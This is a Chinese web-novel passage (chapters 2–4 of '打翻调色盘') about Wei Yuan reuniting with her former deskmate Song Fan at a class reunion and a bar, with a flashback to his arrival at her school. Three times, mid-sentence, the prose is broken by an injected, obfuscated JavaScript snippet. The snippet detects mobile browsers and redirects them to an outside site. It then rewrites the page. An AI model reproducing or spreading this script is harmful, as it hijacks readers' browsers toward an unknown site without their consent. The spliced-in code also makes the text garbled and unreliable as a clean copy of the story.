《打翻调色盘》 2. 02 2 蔚媛没有回答。 天花板上的爱心气球突然炸开，粉色碎屑飘落在地，窗边的风铃又莫名撞出几声清脆悠扬的响。 她端起桌上的茶杯抿了一口，舌尖泛起一阵熟悉的气泡刺痛。 杯子里不是茶水，是可乐。 耳边传来椅脚划过地面发出的轻微摩擦音，商娩的手在她膝盖上轻轻一拍，蔚媛抬起头，看到宋繁起身离开了。 已经无法从他的背影中探寻到什么情绪，她只是指尖颤了颤，就松开了手里的杯子。 那个先前留出的空座果然是给宋繁的，丰茂上前勾住他的肩：“今晚不醉不归啊！” 宋繁笑了笑，抬手挡掉丰茂递来的酒杯：“我今天开车来的。” 丰茂闻言愣了愣，随即没忍住就乐了：“不是，你没发现这杯子里头是可口可乐是吧！你在哪儿闻到酒味了？在国外呆傻了吧你？” 周遭的人七嘴八舌地笑起来，商娩差点一口可乐喷在餐桌上，她拍着胸脯顺气，偷偷去看蔚媛的反应。 啧，目无表情，看来心情比较糟糕。 宋繁被哄笑也不恼，朝桌对面看了一眼，拿起手边的酒杯和丰茂的碰了碰。 叮当一声轻响，很脆。 蔚媛倏然回过神。 热闹的嬉笑交谈在她耳中变得清晰起来。 “宋繁，你现在可是大画家了啊，这么久没回国，疫情期间也没怎么和我们联系，还真没想到你会来参加老同学聚会。” “宋繁在那边都本科毕业了吧，还要回去读研？” “什么感觉，出名是什么感觉？宋繁你说说！” …… 宋繁，此刻话题全都围绕着宋繁这两个字。 蔚媛夹起盘子里的薯条，筷子一动，薯条被腰斩了。 她皱起眉，听到商娩在耳边小声说：“要不我们找个理由走人？” “不。”蔚媛盯着软塌下去的薯条，脑子里浮现出方才宋繁问她问题时的神情。 你有没有想我？ 不。 “等吃完饭吧。”蔚媛往嘴里灌了口可乐，没气的，可乐变成棕色的甜水。 她皱眉，那方有人忽然拍手。 “那报道，肯定是捕风捉影！”这一句醉意十足。 喝醉的是老同学范晔，是一个酒量差且嘴极碎的高个子，曾经是逃课小分队的队长，蔚媛被他一声怒喝惊得坐直了身子，她下意识看向宋繁那头。 范晔不知是什么时候把可乐酒杯换成了啤酒瓶，此时他正抱着酒瓶和宋繁拉扯。 “宋繁，高二运动会那时候，我是不是还问过你，你说，你当时说了什么来着你记得吗，你说你没有喜欢的女生！” 宋繁脸上没什么表情，眉头微微皱着，他伸手拿掉范晔手里的啤酒扔给丰茂，因为袖子被范晔紧紧抓住，露出了一截精壮有力的小臂。 “全都是无良媒体的无稽之谈！你想回国发展和他们有什么关系，还说你为爱失智，宋繁你哪来的初恋能失智？我去替你证明，那些都是假的！” 短短几分钟，不知道话题是怎么从巴黎会不会经常下雨跳跃到宋繁为爱失智的，传闻失智的当事人一言不发，周遭居然跟着慢慢安静下来。 范晔说了一半的话卡在了喉咙里。 大家突然都不说话了，蔚媛心中不安骤升，只感觉右眼皮猛地跳了跳，还没等她反应过来，宋繁的目光已经同她相撞。 楼外蓦地一声尖锐车鸣，随即包厢内所有人都看向了坐在落地窗边的蔚媛。 “是真的。”宋繁朝她笑了笑。 天花板上最后一个气球炸开。 …… “芋圆！外面在下雨！” 商娩追出来的时候险些崴到脚，她跑上前拉住了就要冲进雨里的蔚媛。 “我没事。”蔚媛抬头望了眼外头的小雨，“你去玩吧，我打车回家，你和班长说一声，就说我明天还得去医院报道，就不和大家去KTV了。” “我和你一起回去。”商娩抓着她的手没放，“我现在半句话都不想和丰茂说，今天这聚的什么意思！” 早知道宋繁会来，她是打死也不可能拉着蔚媛参加这次聚会的。 这些天的气温逐渐攀高，夜晚的雨吹到身上却还是湿凉，蔚媛走出酒店，商娩的车停在她跟前。 她拉开车门坐进去，转眸瞧见酒店内走出来一群人，为首正是丰茂和宋繁，她才扣上安全带，商娩就一脚油门轰了出去。 “之前屁话没说一句，真以为自己准备什么天大的惊喜呢。”商娩在路上越想越来气，无处发泄，她砸了一下方向盘，骂道，“狗东西！” 骂完就遇到了红灯。 蔚媛抓着安全带，靠在了椅背上：“这事也不能怪班长，其实是我的问题。” “闭嘴吧，你有个屁的问题！”商娩看见红灯更生气了，后面排队的不知哪辆车又按喇叭，她猛地降下车窗，探出头去，“再他爸的按你那个破喇叭试试！不知道这块禁鸣区啊！脑子进水的玩意儿，有病前面左拐去医院挂个号看看，有个驾驶证真你爸的显着你了是吧！” 车鸣声停了。 蔚媛看着商娩怒气冲冲的后脑勺，怔愣几秒，随后没忍住笑出了声。 “听我骂人就这么高兴啊？”商娩回头睨了蔚媛一眼，把车窗给关上了，前方120秒的超长红灯终于转绿，车子启动，她听见一声轻叹。 “是啊，突然就有一种活过来了的感觉，还是这样好。”蔚媛把车座旁塞的矿泉水拧开，往嘴里灌了半口。 她的话顿了顿，商娩还没来得及接，就听见耳边传来一阵嘈杂的噪音。 是蔚媛捏了把矿泉水瓶。 “不知道为什么，我看见他就来气。”捏矿泉水瓶的罪魁祸首有些咬牙切齿，话语里却透出一点不明显的失落，“但我好像，我觉得像是错觉，想开口又接不上话，为什么呢小碗，当年也不过就是和他做了一年同桌而已……” 蔚媛的声音低下去，逐渐被车外的喧闹覆盖掉了。 她的愤怒也好，失落也好，或者是已经过期的思念，明明都已经过去这么久了，应该被时间冲刷干净了的。 可宋繁为什么回来呢。 这里又不是属于他的天地。 雨不知何时已经下完了，露天潮湿，各处霓虹显出被雨水冲刷过后清澈的光，商娩沉默不语地开着车，直到又遇见红灯。 “撒谎精，要不要去喝点酒？” 蔚媛闭着眼睛笑了。 去医院的时间不是明天，是后天早上，而且不是报道，是离职。商娩说的撒谎是这个。 她偏头去看车窗外的霓虹。 “俗话说得好啊，解酒消愁嘛！”商娩耸耸肩。 蔚媛把矿泉水瓶往后面一扔：“你今天晚上给我点个男模，我什么愁都能消。” 商娩踩油门前看了蔚媛一眼，她的眼神里藏着太多复杂情绪，但好在黑夜够浓，远处的灯光也无法渗透进来，她欲言又止，最终也只能重新将视线转向车外。 “你要几个啊，多了可不行。”她吸了吸鼻子。 …… “不是说好了给我点男模吗？”蔚媛捧着杯白水歪在卡座里，对商娩挑了挑眉。 酒吧里五颜六色的灯晃得她头疼，但此刻还是热闹好，至少她没空去胡思乱想。 这家酒吧是商娩的学姐开的，卡座也是她认识的酒友提前包的，此时周围坐了不少人。 听见蔚媛的调侃，商娩转过头来和她耳语：“饶了我吧宝贝，陈樾姐居然不在，好像是去见什么老朋友了，今晚一千档的帅哥都被挑完了，剩下的歪瓜裂枣咱可不要啊，你等我妈把我的生活费恢复了我给你点个爆帅的！” 可怜的大小姐被家里限制了消费，蔚媛也没把她的玩笑话当真，只觉得她贼眉鼠眼装可怜的模样十分好笑，伸手勾了勾她的下巴，放过她了。 “要不要喝点这个？酒精度很低的。”商娩推过来一杯鸡尾酒，“别捧着你那杯白开水了，一会儿舞池活动去不去？” 蔚媛酒量很差，平时几乎不会碰酒，陪商娩来酒吧也只是点果汁和牛奶喝，但她今天的心情实在不好，盯着桌上起泡的淡绿色酒水，她鬼使神差地伸出了手。 借酒消愁嘛。 气泡在舌尖炸开，随后就是淡淡的苦味，混合着柠檬果香，并不好喝，蔚媛喜欢甜的东西。 这一口喝得猛，她鼓着腮帮，一点点咽了下去。 “芋圆，你来看隔壁，哭得可真够惨的。”商娩认识隔壁卡座的，她伸长手臂揽住蔚媛的肩，把她往一旁带，“半个月之前我也是在这儿听她哭的，连位置都没变呢，不过听说这回是失去了她的第三十七位真爱，今天下午去求复合还被拒绝了。” 酒吧里总能见到形形色色的客人，女人们常常为情所伤，男人们却总是抱怨找不到真正的爱情。 酒精麻痹身体，朦胧思考，烂醉下谁都真心。 蔚媛捏着那杯鸡尾酒，酒不知何时见了底。 她没有太醉，只是觉得耳尖开始发热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588685|171776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，心跳加快了，她听不清耳边商娩说的话，急切地想要出去吹吹风。 “我去洗个脸。”蔚媛站起来，她站得很稳。 商娩在她身后大声说着不要一个人出酒吧，她点点头，侧身穿过人潮汹涌的舞池，朝拐角的卫生间方向走去。 卫生间那头连接着露天走廊，可以透透气。 外头的天空浓墨般的黑，雨停了没多久，月亮星星什么也望不见。 蔚媛拍了拍发热的两颊，身后走过去一个步履凌乱的女孩，随后几阵匆忙的脚步声踩过去。 “你要死啊！喝那么多自己回去？遇到个捡尸的你就完蛋了，让阿亮女朋友送一下，快！哎呦，你别吐我衣服上了！” 蔚媛听完便打消了去外面走走的念头，专心趴在窗台上看着楼下闪烁的路灯。 一个，两个，三个…… 这条走廊，还挺热门。 内里的狂热音乐做背景，她在心里数着背后路过几个人，轻快或沉重，都是一刻不停地从这头走到那头去，没有人会在这里停留。 除了她，除了…… 身后的人已经站了好几分钟。 蔚媛愣了愣。 楼下倏然传来扰人的摩托声，站在她身后的人还是没有动作，蔚媛皱起眉头，口袋里的电话先响了。 也许是酒后手抖，也许是暗色下看不清，电话是商娩打来的，她接通后不小心按到了免提。 “芋圆！”摩托车飞出去，周围瞬间安静下来，手机里的一声高喝吓得蔚媛差点把手机也丢出去。 她手忙脚乱要去关免提，心思却还停在后面一动不动的陌生人身上，没等她反应，商娩又尖着嗓子叫了起来。 “你怎么还没回来！快点啊！姐进账了，现在就给你点男模！” “……” 要命了，在场的又不是只有她一个人！这种话题无论如何也不要这么大声地让陌生人听见吧！ 蔚媛瞪大双眼，心中暗暗骂自己的手不争气。 她终于听见身后传来动静，羞耻心作祟，她飞快把电话一掐，打算转身逃离。 脚边的灯光忽然被一道身影遮住，那人竟不是要离开，反而朝她走来了。 蔚媛下意识捏紧手机，急匆匆地回了头。 头顶的碎光泛着蓝，潮湿晚风吻过她的耳垂，径直扑向眼前人微微抿起的唇。 她眼中的迷茫和慌乱一闪而过，对上宋繁的双眸时她瞬间滞住了呼吸。 他堵住了她回去的路。 “不和我们去KTV，原来是要来酒吧点男模？” 宋繁大概也喝了酒，嗓音有些哑，他看着光影下的蔚媛，垂在身侧的手收紧成了拳。 她吃完饭头也不回地就走，所以这么多年没见，他现在甚至不如酒吧里的一个男模了。 “关你屁事。”他听见蔚媛闷闷地开口。 蔚媛正皱眉盯着自己和宋繁之间的距离，只有两个拳头那么宽，实在好拥挤。 她脑子里合时宜地蹦出四个字——冤家路窄。 为什么会出现在这里，明明要去KTV聚会的人是他，为什么会在酒吧出现，为什么要挡她的路。 她都还没有问什么，他倒先阴阳怪气上了！ 蔚媛抬头看向宋繁，忍了一整晚的情绪终于爆发了，她猛地伸手揪住了他的衬衫衣领。 “让开。” “不。” 四目相对，竟然擦出火花。 酒精是最有效的冲动剂。 宋繁死死盯着蔚媛的眼睛，他感受着脖颈间的力度在收紧，开口时嗓音居然微微颤抖。 他其实有着凌厉的眉目，此刻似乎被毛茸茸的梅时雨淋湿了，透出不真切的悲伤来。 “蔚媛，当年我走的时候你没来送我，我现在我回来了，你连一句欢迎都不愿意给我，是吗？” “你明明答应我了，会来给我送行的。” 揪着他衣领的手松开了。 蔚媛想往后退一步，可她本就倚着窗台，她无处可退。 宋繁的话才是掐住她脖子的无形手，她突然有了落泪的冲动。 鼻尖的柑橘苦和唇舌残留的酒苦混在一起，宋繁靠近她时，她下意识偏过了头。 宋繁温热的指尖抚上她的脸颊，蔚媛却一将他的手拍开，自己擦掉了滚落眼角的泪。 眼前的男人怔了怔，再开口时，嗓音却更落寞，他似乎极想求得一个答案，望向蔚媛的眼神里多了分哀求。 “蔚媛，告诉我，你为什么没有来。” 3. 03 “讲故事的人常将心中所爱虚拟作月亮，就像我们每每提及青春的遗憾，就说，夏天。” ——芋圆の小记 3 夏天迟迟不结束。 九月初的宁城依旧是持续高温，阳光似乎不把人当人，恨不得把室外的所有都当作气温实验里的鸡蛋两面煎熟了才好。 实中的梧桐道上空无一人，连雀鸟都藏进绿荫里一动不动，只有无尽的蝉鸣，和教学楼外的空调外机运作发出的噪音一齐叫嚣着。 蔚媛抱紧怀里的几杯冰奶茶，从教导处的窗下溜了过去。 口袋里的手机震动个没完，是同学兼好友的商娩在催她赶紧回教室，班主任雁子突然说要在午自习点名。 离打铃只剩五分钟，蔚媛跑得气喘吁吁，七班教室在四楼，她抬头望着眼前的楼梯，绝望地闭了闭眼睛。 简直不要太悲催，怎么每回轮到她给同学带奶茶的时候就要点名！ 但此刻已经没有时间让她感慨上天不公了，蔚媛深吸一口气，踩上台阶。 “同学，你好。” 身后突然出现的声音让蔚媛下意识停住脚步，她心中顿时警铃大作，以为是查纪律的高三学生要趁机逮她迟到，她不敢回头，犹豫的几秒里已经迈开腿往上跑了。 不行，还有好几分钟，不能停下，抛开不能迟到不说，她手里还有几个可怜住宿生的精神支柱，她必须得立马赶回教室去。 然而不料她一跑，那人也立马跟上了她的步伐。 不是吧……蔚媛要被吓死了，她这一路过来已经没力气跑追逐赛了，听见身后的男生再次开口试图喊住她时，她顿时感觉额头冒出一阵冷汗。 “同学！” 同你个头学！ 四楼的平台就近在眼前，蔚媛一鼓作气，三步作两步跑了上去。 七班教室在走廊尽头，她须得从后门进教室才安全，即将打铃，就要没时间了。 蔚媛准备冲刺的时候被人挡住了去路。 “你好同学，实在不好意思，我想问一下，高二教师办公室是在这栋教学楼吗？” “……你！”蔚媛没来得及反应，一阵急促的铃声从楼梯口猛地响起来。 完蛋了！ 这人怎么回事！找个办公室而已，问谁不好非要找她？ 蔚媛只觉得一股无名火从心头涌上耳根，她抬头和对上眼前男生的眼睛。 她怀里抱着的几杯奶茶冰凉，温度透过薄薄的夏季校服直击她狂跳的心脏。 害她迟到的是个穿着白衬衫的男生，很高，目测有185，如果商娩在场，大概会先尖叫一声“我靠帅哥”，但蔚媛看着他，怒气迅速染红了她的眼角。 “抱歉。”男生以为蔚媛要哭，愣了两秒才解释，“我一路走来只遇到你……” 蔚媛已经敏锐地注意到楼下传来的高跟鞋踩地声，班主任要来点名了，她没空再和这个莫名其妙的家伙纠缠，伸手指了指楼梯口。 “三楼。”她越过男生拔腿就跑，连身后的一声谢谢也没有应。 从后门溜进教室时班主任还没到，蔚媛把怀里的大包小包往地上一放，后排的几个脑袋一齐围了过来。 “芋圆你来啦！我的奶茶耶耶耶！” “这个应该是我的，不要红豆两份椰果。” “呐呐呐，这杯绿茶换红茶加三份珍珠是谁的？” “我的我的，哎别把我上面的奶油压坏了啊！” …… 蔚媛趴在桌子上喘了口气，同学分完奶茶后朝她道谢，她摆摆手，额角的汗往下流到下巴，商娩从前面递过来一包纸巾。 “你可终于来了，有转校生的新八卦，听不听？”商娩凑近，压低声音鬼鬼祟祟地说。 蔚媛伸手接过纸巾，掀起眼皮看了她一眼。 有关七班要来转校生的传闻已经从高二开学传到了现在，然而至今无人见过此人真容。 况且蔚媛现在其实没什么兴趣听八卦，只想让教室里的空调风赶紧把她身上的热气给吹散，但商娩脸上兴致勃勃的模样让她实在说不出拒绝的话。 “转校生怎么了？”蔚媛配合问道。 教室顶上的风扇呼啦啦地转着，将商娩的刘海吹得凌乱，她胡乱地捋了捋头发，看起来很兴奋：“据说这周就要来了！” 终于要来了？ “你从哪听说的？”蔚媛也不禁好奇起来。 “雁子办公室呗。”商娩挥了挥手，她指甲上的透明甲油还没干透，“我吃完午饭去拿卷子的时候听见大嘴说的，他居然在嘲笑雁子，好像是因为那个转校生的成绩不大好，要不是我偷听，真想冲进去给咱雁子主持公道，大嘴最坏了。” 商娩一聊起八卦就没完没了，情绪转变的能力都够她拿好几座小金人了，她没等蔚媛开口，自顾自继续说，“不过，我还听到大嘴说什么成绩不够颜值来凑，我估计转校生应该长得还不错，就是不知道是男生还是女生。” “大嘴迟早要被打。”蔚媛听得皱眉，上学期的期末考排名他们七班和大嘴的四班只差一分，遗憾得了第二，大嘴这是在讽刺雁子呢！ “可不是，咱们毕业以后去学跆拳道把他踢出学校得了。”商娩撇撇嘴，“我估计一会儿点名的时候会说转校生的事，我现在许愿是个超级大帅哥，快！你和我一起许愿！” 蔚媛把桌子上的历史书收进了桌洞，她对转校生没什么兴趣，只想在今天中午补个觉，商娩拉着她非要她许愿，于是她把双手合十，对着窗外拜了拜：“希望是个大美女。” “蔚媛！你故意的是吧！” 她扬起嘴角笑起来，往后躲过商娩来掐她脸的动作，一旁的同学喝完了奶茶，吸管触到杯底发出一阵空荡而可惜的窸窣声。 “下周还有吗？”那同学可怜巴巴地转头来问。 “没有了。”蔚媛无情地拒绝了他。 窗外的阳光正盛，此时正透过百叶窗缝隙落在窗台上，蔚媛在台面上堆了不少课本，她伸手摸了摸，是烫的。 转校生，听起来很不可思议，蔚媛想。实中尽管是市内重高，这些年却也没听说过有人在高二转校过来的。 本省的新高考改革后，高一就需要选好小三门科目并且分班，高二转到实中，就意味着完全失去了科目选择权，况且今年六月份大家已经完成了历史地理和化学的学考，这个时候转来，能适应吗？ 坐在前桌的商娩还在摆弄她的几个指甲油瓶子，周遭几个同学都埋头看着书，蔚媛发了会呆，觉得一阵浓浓的困意袭上大脑。 替他人考虑前途本身也是一种多管闲事，她打了个哈欠，把头埋进交叉的双臂。 才闭上眼，就听见教室前门被推开了。 “我天！” 蔚媛枕着手臂没动，在商娩一声压低的惊叹里睁开了眼睛，没等她抬头，安静的教室里突然骚动不安起来。 “芋圆！你别睡了，快看啊，我的愿望这么快就成真了！” 商娩的手指轻轻敲着她的桌面，敲击声传到她耳中变得沉闷，蔚媛的眼皮在打架，想到班主任还在讲台上，窝窝囊囊地抬起了头。 “是不是很帅！” 蔚媛看着讲台上的白衬衫男孩，直直愣在了座位上。 房顶的风扇不知疲惫地转着，偶尔发出一阵难听的吱呀声，摊在桌面上的几张试卷被风吹起，随意飘落在地，被同学弯腰捡起。 窗外的蝉鸣突然停了。 蔚媛原先没有看清的少年容貌此刻变得清晰起来，她才注意到他身上的衬衫并非私服，其实就是实中男生的夏季校服。 第一印象和第二印象一样，他的确是个很帅的家伙，但前提是，刚刚没有害她迟到的话。 也许是因为她的惊讶眼神太过明显，讲台上的男生抬眸朝她这边看过来。 蔚媛匆匆低头，若无其事般挡住了自己的脸。 没关系的，那个时候只是气红了眼，又不是真的哭出来了，不丢脸的蔚媛，再退一万步说，那么紧急的情况下，对方不一定看清她长什么样的。 她在心里自我安慰，用手指戳了戳商娩的背，叫她不要太激动，这样下去要把后桌的桌子挤扁了。 “蔚媛，你看到没有，现实证明，真诚的祈祷是会被神明听见的！” 看到了看到了，蔚媛叹气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588686|171776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 商娩果然没说错，雁子要在午自习时点名，班长丰茂拿着点名册站起来时，雁子转身往黑板上写了几个字。 “我们班里要来新同学的消息，想必大家有所耳闻了吧？” 雁子话音刚落，讲台下响起一阵哄笑。 “我们不知道啊！”大家都装傻。 沈雁回是个才毕业的小姑娘，年轻、脾气又好，早在高一时就和学生们打成一片，她抓着粉笔笑了笑。 “那么我现在和大家介绍一下，这是我们班的新成员，宋繁。”雁子往台下看了一眼，同学们都好奇地打量着新同学，她把讲台上的位置让了出来，“宋繁，你来自我介绍一下吧？” 宋繁正望着窗边的蔚媛仔细辨认，冷不丁被点到名，他愣了愣，随后点头。 “大家好，我是宋繁……” 宋繁有着一副好皮囊，好巧不巧，嗓音也不错。 十六七岁的少年声线已然褪去稚嫩青涩，染上了莫名好听的磁感，清冽声线如同夏日炎炎下的冰镇汽水，他开口时，台下有女生忍不住轻笑起来。 商娩嘴角都要咧到耳朵边，这时她猛地回头看向蔚媛：“我现在宣布，隔壁那个级草退位，我要拥护这位新帅哥上位了！” “都听皇上您的。”蔚媛佩服地朝她抱拳，商娩总是想一出是一出，前两天她还说隔壁那位是全宇宙最帅的男生，她绝对不会背叛他。 看吧，果然是善变的女人。 蔚媛听讲台上的宋繁自我介绍，实际上根本没听进去几句话，她低头盯着眼前的英语报，右眼皮不停地在跳。 左眼跳财右眼跳……不对不对，一定是因为这几天没休息好。 她看的这篇阅读理解恰好在讲校园故事，内容里school的重复率极高，她一个个数着单词，竟没注意讲台上宋繁已经完成了自我介绍。 “他居然是美术生哎！”商娩继续和蔚媛耳语，“还是从隔壁市国际学校转过来的，那来咱们这高中也太受苦了……” 商娩的话和她方才所想意外重合，蔚媛刚要开口，沈雁回在前面打断了她的话。 “要不先和芋圆当同桌？” “好。” 什么？怎么就好了？蔚媛没来得及反应，正抬起头，发现宋繁已经拎着书包朝她走过来了。 四目相对，宋繁对她笑了笑。 “……”看来是认出她了。 让宋繁当她的同桌，蔚媛是无法拒绝的，因为全班只有她旁边还剩一个空位置，上学期她的同桌临时更换选科，转到楼上的二班去了。 但她在后排当了近半年的单桌霸王，突然来个同桌，实在是……不太情愿。 况且对方还是刚触过她霉头的家伙，就算是帅哥她也要想一想的。 蔚媛幽怨地看了沈雁回一眼，听见宋繁在座位边问她：“可以麻烦把放在椅子上的书拿一下吗？” 于是又窝窝囊囊地把书都搬到了窗台上。 “艳福不浅啊死丫头。”商娩在她耳边低语。 “那我们换换？”蔚媛掀起眼皮看她，她巴不得不和这人坐呢，总觉得会变倒霉。 “行啊！” “不行！” 商娩和范晔的声音同时响起，班里的目光瞬间聚焦到了他们身上，蔚媛把脖子一缩，坐回去当鸵鸟了。 “不是范晔，跟你有什么关系，你插什么嘴啊？” “你要换同桌得先经过同桌我的同意ok？你这样有没有把雁子放在眼里？” “那我去和雁子说好了！” “你故意的是吧？” …… 这两个人吵起来，蔚媛听得头疼，她把窗台的书摞在一起，转身发现宋繁正看着她。 “你叫芋圆？”宋繁开口，他的确长的好看，优越的下颌线连着白皙的脖颈，衬衫领的顶端纽扣解开着，半露出漂亮的锁骨。 蔚媛沉默地看着他。 “看来我不能喊这个名字。”他的嘴角微微扬起，“刚谢谢你了。” 蔚媛一时无言，心中奇怪，她怎么觉得，这个转校生看起来不像个正常帅哥？ 她看着宋繁，右眼皮又猛猛跳了几下。 4. 04 4 蔚媛发现，她的直觉非常准确。 没再理宋繁，被迫围观完商娩和范晔结束为时五分钟的争执之战后，她放在桌洞里的手机震动了一下。 周遭同学都在好奇打量着宋繁，窸窸窣窣的交谈声此起彼伏，她险些没听清。 提示音是微信消息，她心头猛地一跳。 她和朋友同学聊天都用Q/Q，如果是微信，那发消息来的只可能是家人。 心中的猜想浮起时，她已经握住了手机。 “今天放学后是去外婆家吗？” “……” 小熊聊天背景，备注是哥。蔚媛盯着屏幕，一时反应不过来，眼前渐渐开始模糊。 她低着头，没注意到一旁好奇打量的目光，敲着键盘回消息时，一颗豆大的眼泪啪嗒一声掉在了手机屏幕上。 “嗯，去。” 蔚媛胡乱去抓手边的纸巾，想要把眼泪擦掉。 还好是午自习，没什么人会注意到坐在角落里的她，她的手拍在右边的桌子上，触到一片凉。 桌子上什么都没有。 等蔚媛反应过来的时候已经来不及了，她低着头，看见一只骨节分明的手递来一包纸巾。 但不是她的。 她忘记了她的新同桌。 如果说第一次见面她有些狼狈，那么这次蔚媛恨不得就地挖个洞把自己埋进去了。 她的下睫毛还挂着半滴眼泪，摇摇欲坠的，原本抬手抹掉就可以，然而，她吸了吸鼻子。 鼻涕总不能也用手抹掉吧。 她犹豫了几秒，伸手接过宋繁递来的纸巾，飞快转头面向窗户，懊恼地皱了皱眉。 “谢谢。”她哭过眼睛倒不红，只是说话时瓮声瓮气的，她没有看宋繁，把手里的纸巾递回去。 教室外方才有值班老师经过，同学们都已经安静下来，大多数人选择埋头午休，蔚媛把声音压得很轻。 宋繁看着她，没接纸巾。 空调风正巧吹到他们这里，强劲冷风将蔚媛的刘海微微吹起，她的手举了半天，但对方似乎定住了，一动不动。 不是说谢谢了吗，蔚媛想，他要干什么？ 正在她打算把纸巾放到桌上任由他便时，宋繁终于开口，他指了指蔚媛手机屏幕上的已经冷掉的泪珠，小声说：“你鼻涕掉上面了，也擦一下吧。” ？？？ 他知不知道自己在说什么？ 蔚媛震惊了，她猛地低头看向手机，屏幕早已黑了，眼泪颤巍巍地站在上面，像是在大喊—— 我不是鼻涕！不是啊！ 窗外掠过几只娇小雀鸟，黑影在百叶窗外一闪而过，忽而一声沉闷的雷响，远处的天空被闪电倏然划成两半。 蔚媛一时无法理解这位转校生神奇的脑回路，只觉得惊雷的瞬间瞳孔也跟着震了震。 “你在说什么啊？”她觉得简直莫名其妙，“这不是我的鼻涕。” “不是你的？”宋繁也觉得莫名其妙，他好心提醒她，还借给她纸巾，怎么是胡说了，他皱起眉，“好吧，那也不是我的啊。” “……很明显这不是鼻涕。” “……那这是什么？” 蔚媛实在无法将“是我的眼泪”这句话说出口，感觉比鼻涕还丢脸。 二人对视片刻，同时错开了眼。 蔚媛顿时觉得很生气，她第一次和宋繁见面就很倒霉，他不仅害她迟到、霸占了她的同桌位，现在还污蔑她流鼻涕，她本想解释那滴不是鼻涕是眼泪，但她有什么义务要解释，明明是他看错了，语气还那么冲！ 宋繁也很憋屈，他对蔚媛的印象变得很差，原本心中的感激和兴趣此时都消失殆尽。流鼻涕不是很正常的事么，他想，亏他还以为是她感冒了身体不舒服，他怎么刚转学过来就遇到这种人，简直是把好心当成驴肝肺！ 沉默几秒，两只手同时伸出来。 “我不要你的纸巾。” “把纸巾还给我。” 蔚媛弯下腰去，从桌边的帆布袋里掏出一包全新的纸巾，扔给了宋繁。 她把椅子往旁边一挪，拉开和宋繁之间的距离，她的脑子里浮现出几个大字。 这个转校生有病！ …… 夏季雷雨总是突如其来，硕大雨滴肆意敲打着玻璃窗，比下课铃先一步叫醒午休的同学们。 商娩睡醒后就按耐不住，铃声响起时她兴冲冲地回过头，想要和宋繁搭话。 然而她先看到了身后冷着脸的蔚媛。 她呆愣的数秒间，已经有不少同学涌过来，围在了宋繁身边。 “宋繁，认识一下，我是班长丰茂！” “宋繁，你真是国际学校转来的？那你和我们说说呗，你们是怎么上课的？学费是不是巨贵！” “宋繁，你Q/Q号是多少啊？我加你吧，把你拉到我们班级群里。” …… 宋繁被里三层外三层围住，只露出半个脑袋，热情的男生已经勾上他的肩，胆大的女生开口要到了联系方式。 这就是帅哥的魅力，商娩啧啧。 商娩一偏头，发现蔚媛正幽怨地盯着自己，她嘴角一抽，结巴开口：“怎，怎么了。” 她这不是没挤进去吗，应该还没有到重色轻友这一步吧？ “就一句话。”蔚媛手里的笔戳着英语报，把单薄的报纸戳出了几个坑，她瞥了一眼身旁的热情洋溢，又重新看向商娩，“你的心里，有他没我，有我没他。” 商娩睡了一中午，不知道一节自习的时间，她的朋友是怎么和这个转校大帅哥成功结怨的，她话在嘴边咽了又咽，想问个究竟时上课铃响了。 这节本来是体育课，下大雨临时改成了自习，体育老师让学习委员监督纪律，一转眼就没了人影。 商娩偷偷回头，宋繁周围的同学已经散完了，她现在开口问蔚媛未免太明显，想了想，还是决定写小纸条先八卦一番。 她从练习本上撕了半张纸，才抓起笔，一旁的范晔拿着飞行棋问她：“玩不玩？” 商娩还没回答，他又转过头去问宋繁和蔚媛：“你们俩玩不玩，正好我们四个人。” ……真会往枪口上撞。 宋繁没想到刚来就被同学邀请玩游戏，他愣了两秒，勾了勾唇：“玩啊。” 现实证明，他的确是个很容易融入新环境而且很受欢迎的人，宋繁心里想着，斜着眼看了蔚媛一眼，发现她正在整理刚发下来的英语试卷。 只有119？英语卷子的满分不是150么？ 从小就浸泡在双语环境下长大的宋繁眼中闪过一抹吃惊，原来她英语成绩这么差。 也许是因为他的目光太炽热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588687|171776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，蔚媛翻试卷的动作微微顿了顿，随后将其折起来扔进了桌洞里。 “芋圆，你玩不玩？宋繁都玩！”范晔已经把桌布抖开了，他从盒子里拿出四架蓝色的飞行棋，问蔚媛，“这个颜色给你？” 商娩正想开口让范晔闭嘴，却见蔚媛接过范晔递来的骰子，在桌子上抛出了个稳稳当当的六。 起飞。 商娩眼睁睁看着一架蓝色飞机起飞，紧接着宋繁那头也掷出了个六。 范晔正要去接骰子，手还在路上，骰子却被蔚媛截了胡，蔚媛又随手一抛，六。 范晔脸上的笑容一僵，懵了。 “什么意思？”他迷茫地转头问商娩。 